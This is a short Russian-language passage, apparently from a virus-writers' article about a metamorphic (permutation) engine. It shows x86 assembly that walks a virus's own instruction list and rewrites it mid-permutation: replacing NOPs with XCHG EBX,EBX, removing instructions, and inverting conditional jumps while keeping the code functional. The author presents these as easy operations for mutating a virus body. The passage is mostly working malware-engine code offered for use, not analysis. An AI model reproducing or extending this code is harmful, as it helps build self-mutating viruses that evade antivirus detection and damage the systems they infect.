О РЕЗУЛЬТАТАХ
О результатах расскажем и даже покажем кодом.
Итак, в середине пермутации движок вызывает процедуру обработки списка
инструкций. (callback)
Проход по всем инструкциям вируса выглядит так:
mov ebx, _root
__cycle:
; обработка текущей инструкции
mov ebx, [ebx].h_next
or ebx, ebx
jnz __cycle
Для того, чтобы во всем вирусе изменить все, например, NOPы на XCHG EBX,EBX
в обработку инструкции достаточно добавить такой код:
cmp [ebx].h_opcode, 90h
jne __skip
mov word ptr [ebx].h_opcode, 0DB87h
mov [ebx].h_len, 2
__skip:
Для того, чтобы удалить инструкцию из списка и, соответственно,
из вируса, делаем так:
mov eax, [ebx].h_next
mov eax, [eax].h_next
mov [ebx].h_next, eax
или так:
mov [ebx].h_len, 0
mov [ebx].h_flags, 0
В первом случае могут остаться ссылки на эту запись (то есть она реально
не удалится) (проверить сие можно так: test [ebx].h_flags, CM_XREF)
Для того, чтобы инвертировать все jcc на jncc с сохранением
работоспособности кода, делаем так:
mov ax, word ptr [ebx].h_opcode
and ax, 0F0FFh
cmp ax, 0800Fh ; near jcc: 0F 8x nn nn nn nn
jne __skip
xor [ebx].h_opcode, 1
mov eax, [ebx].h_nxt
xchg eax, [ebx].h_rel
mov [ebx].h_nxt, eax
__skip:
Мне кажется, что легкость приведенных операций и все возможные
их применения вполне оправдывают затраченные усилия.
* * *